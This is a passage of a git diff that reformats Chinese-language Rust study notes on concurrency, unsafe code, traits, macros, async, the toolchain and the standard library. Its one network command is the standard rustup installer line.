消息传递类似一个单所有权的系统:一个值同时只能有一个所有者,如果另一个线程需要该值的所有权,需要将所有权通过消息传递进行转移。 - - 共享内存类似于一个多所有权的系统:多个线程可以同时访问同一个值。 + + - 消息传递类似一个单所有权的系统:一个值同时只能有一个所有者,如果另一个线程需要该值的所有权,需要将所有权通过消息传递进行转移。 + - 共享内存类似于一个多所有权的系统:多个线程可以同时访问同一个值。 - 锁 - 1. Mutex 每次进行读写都需要获取锁。 - 2. RwLock 同时允许多个读,但最多只能有一个写。 - 3. RwLock 是操作系统提供的,实现原理要比Mutex复杂的多,因此单就锁的性能而言,比不上原生实现的Mute。 + + 1. Mutex 每次进行读写都需要获取锁。 + 2. RwLock 同时允许多个读,但最多只能有一个写。 + 3. RwLock 是操作系统提供的,实现原理要比Mutex复杂的多,因此单就锁的性能而言,比不上原生实现的Mute。 + - 使用锁时的注意事项 - 1. 在使用数据前必须先获取锁。 - 2. 在数据使用完成后,必须及时的释放锁。 + + 1. 在使用数据前必须先获取锁。 + 2. 在数据使用完成后,必须及时的释放锁。 ```rs // 单线程与锁 @@ -311,13 +336,13 @@ fn main() { } ``` - ## 三 面向对象编程 + - 面向对象编程的特点是 - - 数据和行为 Rust通过结构体和枚举来包含数据,通过``impl``块来实现行为。 - - 封装 Rust通过``pub``关键字来实现了封装。 - - 继承 Rust机制中没有继承,但对于代码复用,可以通过`` trait``来实现。 - - 多态 Rust机制中没有多态这个概率,但对于一段代码处理多种类型的数据,可以通过泛型实现。 + - 数据和行为 Rust通过结构体和枚举来包含数据,通过`impl`块来实现行为。 + - 封装 Rust通过`pub`关键字来实现了封装。 + - 继承 Rust机制中没有继承,但对于代码复用,可以通过` trait`来实现。 + - 多态 Rust机制中没有多态这个概率,但对于一段代码处理多种类型的数据,可以通过泛型实现。 ```rs /// 定义一个“对象” @@ -371,9 +396,10 @@ fn main() { ``` ## 四 模式匹配 + - 模式匹配分为 refutable 模式 和 irrefutable 模式 - - refutable 意味着模式匹配存在匹配失败的可能性。像 match,while let 都需要refutable类型的模式匹配。 - - irrefutable 意味着模式一定要匹配成功。像 let声明,输入参数 都需要irrefutable类型的模式匹配。 + - refutable 意味着模式匹配存在匹配失败的可能性。像 match,while let 都需要refutable类型的模式匹配。 + - irrefutable 意味着模式一定要匹配成功。像 let声明,输入参数 都需要irrefutable类型的模式匹配。 ```rs // match 模式匹配 @@ -673,20 +699,24 @@ fn main() { ``` ## 五 Unsafe Rust + - safe Rust 指的是所有代码都被编译器在编译期间通过各种代码检查保证了运行时的内存安全。 + - unsafe Rust 会减少编译期间的检查,将运行时的内存安全交给程序员去保障。但运行期间的Rust程序也必须遵守Rust的安全机制,例如借用规则,如果违反了则panic。 -- 使用 Unsafe Rust - - 放弃内存安全保障 - - 获取更好的性能 - - 获取和另一门语言或者硬件进行交互的能力 +- 使用 Unsafe Rust + + - 放弃内存安全保障 + - 获取更好的性能 + - 获取和另一门语言或者硬件进行交互的能力 -- 通过``unsafe``关键字定义代码块,可以获取一下5个超能力 - 1. Dereference a raw pointer 解引用原始指针 - 2. Call an unsafe function or method 调用不安全的函数和方法 - 3. Access or modify a mutable static variable 访问或修改一个可变的静态变量 - 4. Implement an unsafe trait 实现不安全的特征 - 5. Access fields of unions 访问union字段。union主要用于和C语言的对接。 +- 通过`unsafe`关键字定义代码块,可以获取一下5个超能力 + + 1. Dereference a raw pointer 解引用原始指针 + 2. Call an unsafe function or method 调用不安全的函数和方法 + 3. Access or modify a mutable static variable 访问或修改一个可变的静态变量 + 4. Implement an unsafe trait 实现不安全的特征 + 5. Access fields of unions 访问union字段。union主要用于和C语言的对接。 ```rs fn main() { @@ -716,6 +746,7 @@ fn main() { } } ``` + ```rs // 调用不安全的关联函数 use std::slice; @@ -802,8 +833,8 @@ unsafe impl Foo for i32 { fn main() {} ``` - ## 六 深入特征 + - 关联类型(associated types)是一个将类型占位符与 特征 相关联的方式。关键字 Item - 默认泛型类型参数。 - 完全限定语法与消歧义:调用相同名称的方法。 @@ -897,6 +928,7 @@ fn main() { ``` ## 七 深入类型 + - 类型别名(Type Alias) - newtype 使用元组结构体的方式将已有的类型包裹起来 - 动态类型 = ynamically sized types = DST = 不定长类型 = unsized @@ -945,7 +977,6 @@ fn fn_name_1() -> (){ } ``` - ```rs // 动态类型 fn generic_1(t: T) { @@ -960,6 +991,7 @@ fn generic_1(t: &T) { ``` ## 八 函数和闭包 + ```rs // 函数作为参数,参数类型为fn,被命名为function pointer fn add_one(x: i32) -> i32 { @@ -1030,9 +1062,12 @@ fn returns_closure() -> Box i32> { ``` ## 其它 + ### 引用类型的两种定义方式 + - & - ref + ```rs fn main() { let s = Some(String::from("Hello!")); @@ -1047,7 +1082,9 @@ fn main() { ``` ### 转义 -- 通过 `` r#"内容" `` 的方式定义字符串字面量,免除使用\特殊符号进行转义。 + +- 通过 `r#"内容"` 的方式定义字符串字面量,免除使用\\特殊符号进行转义。 + ```rs "foo"; r"foo"; // foo "\"foo\""; r#""foo""#; // "foo" @@ -1072,4 +1109,4 @@ fn main(){ }"#; } -``` \ No newline at end of file +``` diff --git a/language/rust/grammar_advanced.md b/language/rust/grammar_advanced.md index 0dcd750..3a8af31 100644 --- a/language/rust/grammar_advanced.md +++ b/language/rust/grammar_advanced.md @@ -1,68 +1,83 @@ +--- +created_date: 2022-07-05 +--- + [TOC] + ## 宏 + - 宏按照来源分类 - - 声明宏(Declarative Macro) - - 用某种语法直接定义出的宏。 - - 可以定义一种符合当前场景的数据结构, 然后使用该宏来编写rust代码。 - - 例如 vec!、println!、write! - - 过程宏(Procedural Macro) - - 直接生成抽象语法树过程的宏。 - - 主要是为结构体、元祖等数据结构增加通用的trait公共接口和公共方法. - - 例如 #[derive(Debug)]、#[derive(PartialEq)] - - 自定义过程宏,必须引入官方的过程宏库 proc_macro,或者引入第三方更友好的库syn、quote、proc_macro2 - - 区别 - - 声明宏只能用 macro_rules! 来定义出来,它定义出的一定是调用宏。 - - 过程宏可以产生属性宏,也可以产生调用宏。 + + - 声明宏(Declarative Macro) + - 用某种语法直接定义出的宏。 + - 可以定义一种符合当前场景的数据结构, 然后使用该宏来编写rust代码。 + - 例如 vec!、println!、write! + - 过程宏(Procedural Macro) + - 直接生成抽象语法树过程的宏。 + - 主要是为结构体、元祖等数据结构增加通用的trait公共接口和公共方法. + - 例如 #[derive(Debug)]、#[derive(PartialEq)] + - 自定义过程宏,必须引入官方的过程宏库 proc_macro,或者引入第三方更友好的库syn、quote、proc_macro2 + - 区别 + - 声明宏只能用 macro_rules! 来定义出来,它定义出的一定是调用宏。 + - 过程宏可以产生属性宏,也可以产生调用宏。 - 过程宏分为三种 - 1. 派生宏(Derive macro):用于结构体(struct)、枚举(enum)、联合(union)类型,可为其实现函数或特征(Trait)。 - 2. 属性宏(Attribute macro):用在结构体、字段、函数等地方,为其指定属性等功能。如标准库中的#[inline]等都是属性宏。 - 3. 函数式宏(Function-like macro):用法与普通的规则宏类似,但功能更加强大,可实现任意语法树层面的转换功能。 - - 函数式宏和属性宏拥有修改原AST的能力,而派生宏只能做追加的工作. + + 1. 派生宏(Derive macro):用于结构体(struct)、枚举(enum)、联合(union)类型,可为其实现函数或特征(Trait)。 + 2. 属性宏(Attribute macro):用在结构体、字段、函数等地方,为其指定属性等功能。如标准库中的#[inline]等都是属性宏。 + 3. 函数式宏(Function-like macro):用法与普通的规则宏类似,但功能更加强大,可实现任意语法树层面的转换功能。 + + - 函数式宏和属性宏拥有修改原AST的能力,而派生宏只能做追加的工作. - 宏按照使用方式分类 - - 属性宏:给类型添加属性的宏,例如 #[derive(Debug)] 和 #[test] - - 调用宏:像函数一样的宏,例如 println! + + - 属性宏:给类型添加属性的宏,例如 #[derive(Debug)] 和 #[test] + - 调用宏:像函数一样的宏,例如 println! - 宏和函数的对比 - - 函数必须明确参数的数量和类型。 - - 宏可以有各种各样的参数。 + + - 函数必须明确参数的数量和类型。 + - 宏可以有各种各样的参数。 - 对比C/C++ - - C/C++中的宏,在预编译阶段通过文本替换。 - - 在词法层面甚至语法树层面作替换,其功能更加强大,也更加安全。 + + - C/C++中的宏,在预编译阶段通过文本替换。 + - 在词法层面甚至语法树层面作替换,其功能更加强大,也更加安全。 ### 标准库中的宏 + ```rust #![allow(dead_code)] // 此宏必须写在文件顶部。此宏表示忽略未使用到到的代码的警告。 #![allow(unused_variables)] // 此宏必须写在文件顶部。此宏表示忽略未使用到的变量的警告。 ``` ### 定义和使用 声明宏 + - 定义宏实现创建链表的功能 list - ```rust - #[macro_export] // #[macro_export] 标记一个宏可以在其它包中使用,默认为只能被当前包所使用。 - macro_rules! list { // macro_rules! 表示定义创建一个声明宏,名字为 list - // $x 是变量 - // :expr 是关键字语法, 表示表达式 - // * 表示零次或多次表达式匹配 - ($($x:expr), *) => { - { - let mut temp_vec = Vec::new(); - $( - println!("{}", $x); - temp_vec.push($x); - )* // 多次匹配会多次运行这个代码块. - temp_vec - } - } - } - - let x = list!(1,2,3); // 通过 声明宏名字!(参数...) 来使用声明宏 - println!("{:?}", x) - ``` + ```rust + #[macro_export] // #[macro_export] 标记一个宏可以在其它包中使用,默认为只能被当前包所使用。 + macro_rules! list { // macro_rules! 表示定义创建一个声明宏,名字为 list + // $x 是变量 + // :expr 是关键字语法, 表示表达式 + // * 表示零次或多次表达式匹配 + ($($x:expr), *) => { + { + let mut temp_vec = Vec::new(); + $( + println!("{}", $x); + temp_vec.push($x); + )* // 多次匹配会多次运行这个代码块. + temp_vec + } + } + } + + let x = list!(1,2,3); // 通过 声明宏名字!(参数...) 来使用声明宏 + println!("{:?}", x) + ``` ### 定义和使用 派生宏 + ```rust #[proc_macro_derive(Builder)] // #[proc_macro_derive(Builder) ]表示 derive_builder 是一个派生宏 fn derive_builder(input: TokenStream) -> TokenStream { @@ -78,6 +93,7 @@ struct Command { ``` ### 定义和使用 属性宏 + ```rs #[proc_macro_attribute] // #[proc_macro_attribute] 表示定义一个属性宏 // 定义属性宏时,函数传入两个参数,第一个表示属性宏传入的参数,第二个参数表示所关联的类型主体。 @@ -91,6 +107,7 @@ fn index() {} ``` ### 定义和使用 函数宏 + ```rs #[proc_macro] // proc_macro 表示定义一个函数宏 pub fn sql(input: TokenStream) -> TokenStream { @@ -102,11 +119,12 @@ let sql = sql!(SELECT * FROM posts WHERE id=1); // 通过 sql!() 函数宏的名 ``` ## 异步 + - std::future::Future - - future 实例不会轮询(poll)自己 -- tokio - - 异步运行时(async runtime),提供了运行时和启用异步I/O的功能 - - 文档 https://docs.rs/tokio/latest/tokio/ + - future 实例不会轮询(poll)自己 +- tokio + - 异步运行时(async runtime),提供了运行时和启用异步I/O的功能 + - 文档 https://docs.rs/tokio/latest/tokio/ ```rust // 修改 main 函数使用 tokio 默认执行器(executor) @@ -116,7 +134,6 @@ async fn main() { } ``` - ```rust fn main() { use std::future; @@ -128,11 +145,12 @@ fn main() { } ``` - ## 条件编译 + - Rust代码里有一个特殊的属性, #[cfg], 它可以传递标识给编译器,然后选择性编译代码。 ### 条件编译一 + ```rust #[cfg(target_os = "linux")] fn fun_condition_1() { @@ -168,12 +186,14 @@ fn main() { ``` ### 条件编译二 可以在Cargo.toml里进行配置编译条件 + ```conf [features] default = ["feature1"] # 默认使用feature1条件 feature1 = [] feature2 = [] ``` + ```rust #[cfg(feature="feature1")] pub fn test1() { @@ -182,6 +202,7 @@ pub fn test1() { ``` ## 范性深入 + ```rust struct S; impl S{ @@ -220,27 +241,35 @@ fn test(){ } ``` - ## 栈堆 + - 栈 - - 栈内存从高位地址向下增长,且栈内存是连续分配的,一般来说操作系统对栈内存的大小都有限制,因此 C 语言中无法创建任意长度的数组。 - - 在 Rust 中,main 线程的栈大小是 8MB,普通线程是 2MB,在函数调用时会在其中创建一个临时栈空间,调用结束后 Rust 会让这个栈空间里的对象自动进入 Drop 流程,最后栈顶指针自动移动到上一个调用栈顶,无需程序员手动干预,因而栈内存申请和释放是非常高效的。 + + - 栈内存从高位地址向下增长,且栈内存是连续分配的,一般来说操作系统对栈内存的大小都有限制,因此 C 语言中无法创建任意长度的数组。 + - 在 Rust 中,main 线程的栈大小是 8MB,普通线程是 2MB,在函数调用时会在其中创建一个临时栈空间,调用结束后 Rust 会让这个栈空间里的对象自动进入 Drop 流程,最后栈顶指针自动移动到上一个调用栈顶,无需程序员手动干预,因而栈内存申请和释放是非常高效的。 + - 堆 - - 堆上内存则是从低位地址向上增长,堆内存通常只受物理内存限制,而且通常是不连续的,因此从性能的角度看,栈往往比堆更高。 + + - 堆上内存则是从低位地址向上增长,堆内存通常只受物理内存限制,而且通常是不连续的,因此从性能的角度看,栈往往比堆更高。 - 语言对比 - - 相比其它语言,Rust 堆上对象还有一个特殊之处,它们都拥有一个所有者,因此受所有权规则的限制:当赋值时,发生的是所有权的转移。 + + - 相比其它语言,Rust 堆上对象还有一个特殊之处,它们都拥有一个所有者,因此受所有权规则的限制:当赋值时,发生的是所有权的转移。 - 堆栈性能 - 1. 小型数据,在栈上的分配性能和读取性能都要比堆上高 - 2. 中型数据,栈上分配性能高,但是读取性能和堆上并无区别,因为无法利用寄存器或 CPU 高速缓存,最终还是要经过一次内存寻址 - 3. 大型数据,只建议在堆上分配和使用 - - 栈的分配速度肯定比堆上快,但是读取速度往往取决于你的数据能不能放入寄存器或 CPU 高速缓存。 + + 1. 小型数据,在栈上的分配性能和读取性能都要比堆上高 + 2. 中型数据,栈上分配性能高,但是读取性能和堆上并无区别,因为无法利用寄存器或 CPU 高速缓存,最终还是要经过一次内存寻址 + 3. 大型数据,只建议在堆上分配和使用 + + - 栈的分配速度肯定比堆上快,但是读取速度往往取决于你的数据能不能放入寄存器或 CPU 高速缓存。 ## turbofish 涡轮鱼 -- 参考 - - https://stackoverflow.com/questions/52360464/what-is-the-syntax-instance-methodsomething - - https://matematikaadit.github.io/posts/rust-turbofish.html + +- 参考 + + - https://stackoverflow.com/questions/52360464/what-is-the-syntax-instance-methodsomething + - https://matematikaadit.github.io/posts/rust-turbofish.html - turbofish,通常用于在表达式中为泛型类型、函数或方法指定具体的参数类型。 @@ -252,7 +281,7 @@ fn main () { } ``` -```rs +````rs ```rs use core::fmt::Debug; @@ -266,23 +295,26 @@ fn foo() { // 可以通过这种方式传入一个泛型, fn main() { foo::(); // 通过turbofish语法,指定参数类型 } -``` - +```` ## 特征 + - 参考 - - https://zhuanlan.zhihu.com/p/109990547 - - https://alschwalm.com/blog/static/2017/03/07/exploring-dynamic-dispatch-in-rust/ + + - https://zhuanlan.zhihu.com/p/109990547 + - https://alschwalm.com/blog/static/2017/03/07/exploring-dynamic-dispatch-in-rust/ - 代码分发 - - 即当代码涉及多态时,需要某种机制决定实际调动类型。 - - impl trait 被称为静态分发。 - - dyn trait 被称为动态分发。 - - 动态分发 是通过一种被称之为 特征对象 的机制。 -- Rust 编译器要求函数不能返回多种类型。 - - 因为 Rust 在需要在 编译期确定返回值占用的内存大小。 - - 使用智能指针,确定返回值的大小。例如 ``-> Box``,只要实现了View特征的Box都可以被返回。 + - 即当代码涉及多态时,需要某种机制决定实际调动类型。 + - impl trait 被称为静态分发。 + - dyn trait 被称为动态分发。 + - 动态分发 是通过一种被称之为 特征对象 的机制。 + +- Rust 编译器要求函数不能返回多种类型。 + + - 因为 Rust 在需要在 编译期确定返回值占用的内存大小。 + - 使用智能指针,确定返回值的大小。例如 `-> Box`,只要实现了View特征的Box\都可以被返回。 ```rs trait TraitA { @@ -307,9 +339,11 @@ fn main() { ``` ## 泛型 + - 通过单态化, 编译器消除了泛型, 而且没有性能损耗。 - - 但过多展开可能会导致编译生成的二级制文件体积过大。 + - 但过多展开可能会导致编译生成的二级制文件体积过大。 ## 多态 + - 虚函数表 vtable - - 虚函数表在编译的时候就确定了,这是实现多态的关键! \ No newline at end of file + - 虚函数表在编译的时候就确定了,这是实现多态的关键! diff --git a/language/rust/rust.md b/language/rust/rust.md index c53b96f..b451869 100644 --- a/language/rust/rust.md +++ b/language/rust/rust.md @@ -1,24 +1,37 @@ +--- +created_date: 2021-12-21 +--- + [TOC] + ## Rust介绍 + - 2006年,Mozilla研究院的 Graydon Hoare 开始设计创造自己的私人项目 Rust 语言。 + - 2009年,Mozilla开始赞助这个项目,后来在Dave Herman, Brendan Eich以及很多其他人的贡献下逐步完善的。 + - 2010年,Rust 首次公开,同年开始改写自托管编译器(基于 LLVM 后端)来替换原来用 OCaml 写的编译器,在 2011 年实现了自我编译 [1] + - 2015年,第一个稳定版本 Rust 1.0 首次发布。 - Rust 的编译器是在 MIT License 和 Apache License 2.0 双重协议声明下的免费开源软件。 + - Rust 有完善的提案流程(RFC,Request For Comments),每一个人都可以提交提案,进行开发工作的核心团队细分为专项治理语言package、社区运营、语言核心开发、工具开发、库开发等,来管理维护各个package的各方面事项。 ## 相关链接 -- 官网 https://www.rust-lang.org/ + +- 官网 https://www.rust-lang.org/ - 学习 https://doc.rust-lang.org/book/ -- 学习 https://course.rs/about-book.html https://github.com/sunface/rust-course Rust语言圣经(中文) -- 学习 通过```rustup doc```获取离线学习文档 +- 学习 https://course.rs/about-book.html https://github.com/sunface/rust-course Rust语言圣经(中文) +- 学习 通过`rustup doc`获取离线学习文档 - Rust安装教程 https://www.rust-lang.org/tools/install - 在线编译器 https://play.rust-lang.org/ - 宝箱文档 https://docs.rs/ ## Rust工具包 -- Rust工具链管理器 ``rustup`` + +- Rust工具链管理器 `rustup` + ```bash # 下载安装Rust工具链管理器 curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh @@ -27,33 +40,40 @@ rustc -V ``` - channel: Rust发布在三个不同的"channel"上:stable,beta 和 nightly,对应三种不同的版本。 + ### rustup 工具链 -1. Rust编译器 ``rustc`` + +1. Rust编译器 `rustc` 2. Rust标准库rust-std -3. Rust包管理和构建工具 ``cargo`` - - 可以使用 cargo 指令进行 工程构建、编译、运行、打包、获取包等功能。 +3. Rust包管理和构建工具 `cargo` + + - 可以使用 cargo 指令进行 工程构建、编译、运行、打包、获取包等功能。 -4. Rust文档生成器 ``rustup doc`` +4. Rust文档生成器 `rustup doc` 5. Rust源代码格式化工具 - - ``cargo-fmt 或者 cargo fmt`` - - ``rustfmt`` -6. Rust代码检查工具 ``cargo clippy`` - - 参考 https://magiclen.org/clippy/ - - lint最早用于C语言,是一种用来检查代码的工具,现在的主流编程语言几乎都有lint可以使用,尤其是JavaScript、Python等直译式编程语言,因为它们的代码不会经过编译,所以特别需要使用lint来检查原代码。 - - 通过lint,可以写出疑虑较少、性能更好或是更容易阅读的代码。 - - Rust编程语言虽然是静态类型的编程语言,而且拥有十分严谨的编译器,但官方还是提供了一个lint工具 Clippy。 + - `cargo-fmt 或者 cargo fmt` + - `rustfmt` + +6. Rust代码检查工具 `cargo clippy` + + - 参考 https://magiclen.org/clippy/ + - lint最早用于C语言,是一种用来检查代码的工具,现在的主流编程语言几乎都有lint可以使用,尤其是JavaScript、Python等直译式编程语言,因为它们的代码不会经过编译,所以特别需要使用lint来检查原代码。 + - 通过lint,可以写出疑虑较少、性能更好或是更容易阅读的代码。 + - Rust编程语言虽然是静态类型的编程语言,而且拥有十分严谨的编译器,但官方还是提供了一个lint工具 Clippy。 ### 其它 -- 调试器 ``rust-gdb`` + +- 调试器 `rust-gdb` - 代码提示工具 - - rls - - Rust 语言服务器(RLS)基于 LSP(Language Server Protocol),即语言服务器协议,LSP 由红帽、微软和 Codenvy 联合推出,可以让不同的程序编辑器与集成开发环境(IDE)方便地嵌入各种编程语言,允许开发人员在最喜爱的工具中使用各种语言来编写程序。 - - racer + + - rls + - Rust 语言服务器(RLS)基于 LSP(Language Server Protocol),即语言服务器协议,LSP 由红帽、微软和 Codenvy 联合推出,可以让不同的程序编辑器与集成开发环境(IDE)方便地嵌入各种编程语言,允许开发人员在最喜爱的工具中使用各种语言来编写程序。 + - racer ## 指令 @@ -120,24 +140,27 @@ cargo yank --vers 1.0.1 --undo # 撤回 ``` ## 编译器 -- 编译过程 - 1. 源代码(Rust Code) - 2. 通过分词变为词条流(Tokens) - 3. 通过解析变为抽象语法树(AST) - 4. 通过降级简化为高级中间语言HIR,生成*.hir文件(HIR) - 5. 编译器对高级中间语言HIR进行类型检查、方法查找等。(HIR) - 6. 通过降级简化为中级中间语言MIL(MIL) - 7. 编译器对中级中间语言MIL进行借用检查、优化、宏的代码生成、范型、单态化等。(MIL) - 8. 转译为LLVM的中间语言LLVMIR(LLVMIR) - 9. 通过LLVM后端,优化,生成机器码。 +- 编译过程 + 1. 源代码(Rust Code) + 2. 通过分词变为词条流(Tokens) + 3. 通过解析变为抽象语法树(AST) + 4. 通过降级简化为高级中间语言HIR,生成\*.hir文件(HIR) + 5. 编译器对高级中间语言HIR进行类型检查、方法查找等。(HIR) + 6. 通过降级简化为中级中间语言MIL(MIL) + 7. 编译器对中级中间语言MIL进行借用检查、优化、宏的代码生成、范型、单态化等。(MIL) + 8. 转译为LLVM的中间语言LLVMIR(LLVMIR) + 9. 通过LLVM后端,优化,生成机器码。 ## Rust编程思想 + - 逻辑代码 - - 把程序分成main.rs和lib.rs,主要代码逻辑放在lib.rs里。 - - main.rs主要负责调用命令行解析逻辑、设置配置项、调取lib.rs的运行函数、处理lib.rs运行函数返回的错误。 + + - 把程序分成main.rs和lib.rs,主要代码逻辑放在lib.rs里。 + - main.rs主要负责调用命令行解析逻辑、设置配置项、调取lib.rs的运行函数、处理lib.rs运行函数返回的错误。 - Test-driven development (TDD) process ## Rust -- rustacian rust编程者 \ No newline at end of file + +- rustacian rust编程者 diff --git a/language/rust/rust_gpu.md b/language/rust/rust_gpu.md index 7987e01..8b5c34c 100644 --- a/language/rust/rust_gpu.md +++ b/language/rust/rust_gpu.md @@ -1,3 +1,11 @@ +--- +created_date: 2022-08-21 +--- + +[TOC] + - rust & gpu + ## -- GPU编程宝箱 https://www.arewelearningyet.com/gpu-computing/ \ No newline at end of file + +- GPU编程宝箱 https://www.arewelearningyet.com/gpu-computing/ diff --git a/language/rust/secure.md b/language/rust/secure.md index 0d571c1..1484caf 100644 --- a/language/rust/secure.md +++ b/language/rust/secure.md @@ -1,3 +1,10 @@ +--- +created_date: 2022-06-15 +--- + +[TOC] + ## 溢出 -1. 数字类型,debug模式编译运行时,运行状态溢出会报错,程序退出 `` thread 'main' panicked at 'attempt to add with overflow' `` -2. 数字类型,release模式编译运行时,运行状态溢出,程序正常运行 \ No newline at end of file + +1. 数字类型,debug模式编译运行时,运行状态溢出会报错,程序退出 `thread 'main' panicked at 'attempt to add with overflow'` +2. 数字类型,release模式编译运行时,运行状态溢出,程序正常运行 diff --git a/language/rust/standad.md b/language/rust/standad.md index 0471dd4..e02cd71 100644 --- a/language/rust/standad.md +++ b/language/rust/standad.md @@ -1,7 +1,13 @@ +--- +created_date: 2022-06-15 +--- + +[TOC] [toc] ## 全局作用域的标准库 + ```rust // Rust 的标准库,有一个 prelude 子模块。 // prelude 子模块里的模块默认导入程序的整个作作用域,也就是说不再需要使用use进行引用。 @@ -23,7 +29,9 @@ std::vec::Vec ``` ## 标准库 基本 + ### env + ```rs use std::env; fn main() { @@ -47,12 +55,17 @@ fn main() { } ``` + ### fmt + - std::fmt::Debug - - 实现Debug特征的结构体,可以使用`` {:?} ``或`` {:#?} ``格式化结构体进行输出展示。 - - 所有的结构体都可以直接添加衍生宏 `` #[derive(Debug)] `` 来实现格式化。 + + - 实现Debug特征的结构体,可以使用`{:?}`或`{:#?}`格式化结构体进行输出展示。 + - 所有的结构体都可以直接添加衍生宏 `#[derive(Debug)]` 来实现格式化。 + - std::fmt::Display - - 实现Display特征的结构体,可以使用``{}``格式化结构体进行输出展示 + + - 实现Display特征的结构体,可以使用`{}`格式化结构体进行输出展示 - 标准库里的类型都实现了Debug和Display特征。 @@ -62,6 +75,7 @@ struct DebugPrintable(i32); ``` ### io + ```rs // 读取命令行输入 fn read_stdin() { @@ -81,7 +95,9 @@ fn read_stdin() { assert_eq!(num_bytes, 5); } ``` + ### fs + ```rs // 文件读取与写入 use std::fs; @@ -105,7 +121,9 @@ fn main() -> std::io::Result<()> { Ok(()) } ``` + ### time + ```rs use std::time::{Duration, Instant}; use std::thread; @@ -135,6 +153,7 @@ fn main() { ``` ### net + ```rs // 服务端监听地址端口 // 一个简单的单线程服务器 use std::net::{TcpListener, TcpStream}; @@ -182,6 +201,7 @@ fn main() -> std::io::Result<()> { ``` ### collections + ```rs use std::collections::HashMap; @@ -203,14 +223,15 @@ fn main(){ ``` ### cell + - 内部可变性智能指针。 - 来源 - - Rust 通过其所有权机制,严格控制拥有和借用关系,来保证程序的安全,并且这种安全是在编译期可计算、可预测的。但是这种严格的控制,有时也会带来灵活性的丧失,有的场景下甚至还满足不了需求。 - - Rust 标准库中,设计了这样一个系统的组件 ``Cell 和 RefCell``,它们弥补了 Rust 所有权机制在灵活性上和某些场景下的不足。同时,又没有打破 Rust 的核心设计。它们的出现,使得 Rust 革命性的语言理论设计更加完整,更加实用。 + - Rust 通过其所有权机制,严格控制拥有和借用关系,来保证程序的安全,并且这种安全是在编译期可计算、可预测的。但是这种严格的控制,有时也会带来灵活性的丧失,有的场景下甚至还满足不了需求。 + - Rust 标准库中,设计了这样一个系统的组件 `Cell 和 RefCell`,它们弥补了 Rust 所有权机制在灵活性上和某些场景下的不足。同时,又没有打破 Rust 的核心设计。它们的出现,使得 Rust 革命性的语言理论设计更加完整,更加实用。 - Rust 机制里修改一个值,必须是值的拥有者,并且声明 mut;或 以 &mut 的形式,借用。而通过 Cell, RefCell,则可以在需要的时候,就可以修改里面的对象。而不受编译期静态借用规则束缚。 - Cell 和 RefCell 的区别 - - Cell只能包装拥有Copy特征的类型。 - - RefCell能够包装任何类型。 + - Cell只能包装拥有Copy特征的类型。 + - RefCell能够包装任何类型。 ```rs use std::cell::Cell; @@ -237,6 +258,7 @@ assert_eq!(my_struct.special_field.get(), new_value); ``` ### hash + ```rs pub fn main() { use std::collections::hash_map::DefaultHasher; @@ -249,15 +271,18 @@ pub fn main() { ``` ### error + - std::error::Error 特征 - - 也实现了Debug和Display 特征。 - - 实现了 source backtrace description cause 4个方法。 + + - 也实现了Debug和Display 特征。 + - 实现了 source backtrace description cause 4个方法。 - 去除unwrap() - 1. unwrap() 的不出现可能会使得程序的健壮性高出很多。 - 2. 直接通过match匹配的方式,判断是否有Error,去除unwrap()的使用,但这会使代码不断嵌套,代码的可读性变差。 - 3. 将多个Error变成自定义Error的子Error,对外的Result统一返回自定义的Error,由外部统一处理Error,减少处理异常代码的嵌套。 - 4. 通过重命名Result,并且通过操作符 ? 直接返回错误,减少代码的冗余。 + + 1. unwrap() 的不出现可能会使得程序的健壮性高出很多。 + 2. 直接通过match匹配的方式,判断是否有Error,去除unwrap()的使用,但这会使代码不断嵌套,代码的可读性变差。 + 3. 将多个Error变成自定义Error的子Error,对外的Result统一返回自定义的Error,由外部统一处理Error,减少处理异常代码的嵌套。 + 4. 通过重命名Result,并且通过操作符 ? 直接返回错误,减少代码的冗余。 ```rs use std::io::Error as IoError; @@ -336,11 +361,13 @@ pub type IResult = std::result::Result; ``` ## 标准库 特殊 + ### marker + - PhantomData 特点 - 1. 零成本抽象,一个不占用任何空间的单元结构体 - 2. 在编译期,PhantomData 等同于 T - 3. 在运行时,PhantomData 等同于 () + 1. 零成本抽象,一个不占用任何空间的单元结构体 + 2. 在编译期,PhantomData 等同于 T + 3. 在运行时,PhantomData 等同于 () ```rs use std::marker::PhantomData; @@ -360,14 +387,15 @@ fn borrow_vec(vec: &Vec) -> Slice<'_, T> { ``` ### borrow + - Cow - - Cow表示copy on write - - Cow是一个enum。 - - Cow可以是两个变体中的任意一种,可以是指向类型B的一个引用,也可以在需要的时候,把这个引用变成Owned类型。 - - Cow内部会根据请求的方式内部来决定是否需要clone。 + - Cow表示copy on write + - Cow是一个enum。 + - Cow可以是两个变体中的任意一种,可以是指向类型B的一个引用,也可以在需要的时候,把这个引用变成Owned类型。 + - Cow内部会根据请求的方式内部来决定是否需要clone。 - 结构体方法 - - .into_owned() 取出 Cow 中的所有权数据,当为获取所有权时,进行 clone 操作 - - .to_mut() 获取所有权的可变引用 + - .into_owned() 取出 Cow 中的所有权数据,当为获取所有权时,进行 clone 操作 + - .to_mut() 获取所有权的可变引用 ```rs pub enum Cow<'a, B> @@ -378,6 +406,7 @@ where Owned(::Owned), } ``` + ```rs use std::borrow::Cow; fn abs_all(input: &mut Cow<[i32]>) { @@ -428,9 +457,10 @@ fn main(){ } ``` - ## 标准库 多线程 + ### thread + ```rs // 启动线程 use std::thread; @@ -474,6 +504,7 @@ fn main() { } } ``` + ```rs // 线程间通讯: 通过共享内存 use std::thread; @@ -490,6 +521,7 @@ fn main() { println!("share value in main thread: {}, address: {:p}", var, &*var); } ``` + ```rs // 线程间通讯: 通过通道 use std::sync::mpsc; @@ -508,6 +540,7 @@ fn main() { new_thread.join().unwrap(); } ``` + ```rs // 线程通讯: 通过通道 // 多个发送者 use std::sync::mpsc; @@ -551,7 +584,9 @@ fn main() { } } ``` + ### sync::Arc + ```rust use std::thread; use std::time::Duration; @@ -573,30 +608,39 @@ fn main() { ``` ### sync::atomic + - 诞生: Rust编程语言在1.34之后的版本中开始正式提供完整的原子(Atomic)类型。 + - 原子操作 - - 原子是指一系列不可被上下文交换(Context Switch)的机器指令,这些机器指令组成的操作又称为原子操作(Atomic Operation)。 - - 在多CPU内核的环境下,当某个CPU内核开始运行原子操作时,就会先暂停其它CPU内核对内存的操作,以保证在原子操作运行的过程中,内存内容不会受到其它CPU内核干扰。 - - 原子操作会牵扯到编译器优化以及CPU架构的问题. + + - 原子是指一系列不可被上下文交换(Context Switch)的机器指令,这些机器指令组成的操作又称为原子操作(Atomic Operation)。 + - 